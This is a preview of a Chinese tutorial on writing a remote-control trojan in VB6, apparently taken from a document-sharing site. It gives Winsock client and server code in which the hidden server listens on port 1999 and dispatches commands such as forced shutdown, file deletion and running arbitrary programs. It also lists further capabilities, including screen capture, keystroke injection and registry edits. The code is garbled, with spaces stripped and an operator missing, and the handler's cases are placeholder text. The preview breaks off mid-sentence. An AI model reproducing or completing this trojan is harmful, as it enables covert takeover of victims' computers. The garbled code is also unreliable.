特洛伊木馬程序_第1頁(yè)
特洛伊木馬程序_第2頁(yè)
特洛伊木馬程序_第3頁(yè)
全文預(yù)覽已結(jié)束

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

3/3特洛伊木馬程序當(dāng)前位置:中國(guó)VB網(wǎng)→文章首頁(yè)→VB技術(shù)文章→其他→淺談?dòng)肰B6.0編寫木馬程序

淺談?dòng)肰B6.0編寫木馬程序

:不詳來(lái)源于:中國(guó)VB網(wǎng)發(fā)布時(shí)間:2005/9/5

現(xiàn)在網(wǎng)絡(luò)上流行的木馬軟件基本都是客戶機(jī)/服務(wù)器模式也就是所謂的C/S結(jié)構(gòu),目前也有一些開(kāi)始向B/S結(jié)構(gòu)轉(zhuǎn)變,在這里暫且不對(duì)B/S結(jié)構(gòu)進(jìn)行詳談,本文主要介紹C/S結(jié)構(gòu)其原理就是在本機(jī)直接啟動(dòng)運(yùn)行的程序擁有與使用者相同的權(quán)限。因此如果能夠啟動(dòng)服務(wù)器端(即被攻擊的計(jì)算機(jī))的服務(wù)器程序,就可以使用相應(yīng)的客戶端工具客戶程序直接控制它了。下面來(lái)談?wù)勅绾斡肰B來(lái)實(shí)現(xiàn)它。

首先使用VB建立兩個(gè)程序,一個(gè)為客戶端程序Client,一個(gè)為服務(wù)器端程序systry。

在Client工程中建立一個(gè)窗體,加載WinSock控件,稱為tcpClient,協(xié)議選擇TCP,再加入兩個(gè)文本框,用以輸入服務(wù)器的IP地址或服務(wù)器名,然后建立一個(gè)按鈕,按下之后就可以對(duì)連接進(jìn)行初始化了,代碼如下:

PrivateSubcmdConnect_Click()

IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then

MsgBox("請(qǐng)輸入主機(jī)名或主機(jī)IP地址。")

ExitSub

Else

IfLen(Text1.Text)>0Then

tcpClient.RemoteHost=Text1.Text

Else

tcpClient.RemoteHost=Text2.Text

EndIf

EndIf

tcpClient.Connect

Timer1.Enabled=True

EndSub

連接建立之后就可以使用DataArrival事件處理所收到的數(shù)據(jù)了。

在服務(wù)器端systry工程也建立一個(gè)窗體,加載WinSock控件,稱為tcpServer,協(xié)議選擇TCP,在Form_Load事件中加入如下代碼:

PrivateSubForm_Load()

tcpServer.LocalPort=1999

tcpServer.Listen

EndSub

準(zhǔn)備應(yīng)答客戶端程序的請(qǐng)求連接,使用ConnectionRequest事件來(lái)應(yīng)答戶端程序的請(qǐng)求,代碼如下:

PrivateSubtcpServer_ConnectionRequest

(ByValrequestIDAsLong)

IftcpServer.StatesckClosedThen

tcpServer.Close‘檢查控件的State屬性是否為關(guān)閉的。

EndIf'如果不是,在接受新的連接之前先關(guān)閉此連接。

tcpServer.AcceptrequestID

EndSub

這樣在客戶端程序按下了連接按鈕后,服務(wù)器端程序的ConnectionRequest事件被觸發(fā),執(zhí)行了以上的代碼。如果不出意外,連接就被建立起來(lái)了。

建立連接后服務(wù)器端的程序通過(guò)DataArrival事件接收客戶機(jī)端程序所發(fā)的指令運(yùn)行既定的程序。如:把服務(wù)器端的驅(qū)動(dòng)器名、目錄名、文件名等傳到客戶機(jī)端,客戶機(jī)端接收后用TreeView控件以樹(shù)狀的形式顯示出來(lái),瀏覽服務(wù)器端文件目錄;強(qiáng)制關(guān)閉或重啟服務(wù)器端的計(jì)算機(jī);屏蔽任務(wù)欄窗口;屏蔽開(kāi)始菜單;按照客戶機(jī)端傳過(guò)來(lái)的文件名或目錄名,而刪除它;屏蔽熱啟動(dòng)鍵;運(yùn)行服務(wù)器端的任何程序;還包括獲取目標(biāo)計(jì)算機(jī)屏幕圖象、窗口及進(jìn)程列表;激活、終止遠(yuǎn)端進(jìn)程;打開(kāi)、關(guān)閉、移動(dòng)遠(yuǎn)端窗口;控制目標(biāo)計(jì)算機(jī)鼠標(biāo)的移動(dòng)與動(dòng)作;交換遠(yuǎn)端鼠標(biāo)的左右鍵;在目標(biāo)計(jì)算機(jī)模擬鍵盤輸入,下載、上裝文件;提取、創(chuàng)建、修改目標(biāo)計(jì)算機(jī)系統(tǒng)注冊(cè)表關(guān)鍵字;在遠(yuǎn)端屏幕上顯示消息。DataArrival事件程序如下:

PrivateSubtcpServer_DataArrival

(ByValbytesTotalAsLong)

DimstrDataAsString

DimiAsLong

DimmKeyAsString

tcpServer.GetDatastrData

'接收數(shù)據(jù)并存入strData

Fori=1ToLen(strData)

'分離strData中的命令

IfMid(strData,i,1)="@"Then

mKey=Left(strData,i-1)

'把命令I(lǐng)D號(hào)存入mKey

'把命令參數(shù)存入strData

strData=Right(strData,Len(strData)-i)

ExitFor

EndIf

Nexti

SelectCaseVal(mKey)

Case1

‘驅(qū)動(dòng)器名、目錄名、文件名

Case2

強(qiáng)制關(guān)閉服務(wù)器端的計(jì)算機(jī)

Case3

強(qiáng)制重啟服務(wù)器端的計(jì)算機(jī)

Case4

屏蔽任務(wù)欄窗口;

Case5

屏蔽開(kāi)始菜單;

Case6

按照客戶機(jī)端傳過(guò)來(lái)的文件名或目錄名,而刪除它;

Case7

屏蔽熱啟動(dòng)鍵;

Case8

運(yùn)行服務(wù)器端的任何程序

EndSelect

EndSub

客戶機(jī)端用tcpClient.SendData發(fā)命令。命令包括命令I(lǐng)D和命令參數(shù),它們用符號(hào)“@”隔開(kāi)。

另外,當(dāng)客戶機(jī)端斷開(kāi)與服務(wù)器端的來(lái)接后,服務(wù)器端應(yīng)用tcpServer_Close事件,來(lái)繼續(xù)準(zhǔn)備接收客戶機(jī)端的請(qǐng)求,其代碼如下:

PrivateSubtcpServer_Close()

tcpServer.Close

tcpServer.Listen

EndSub

這就是一個(gè)最基本的特洛伊木馬程序,只要你的機(jī)器運(yùn)行了服務(wù)器端

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論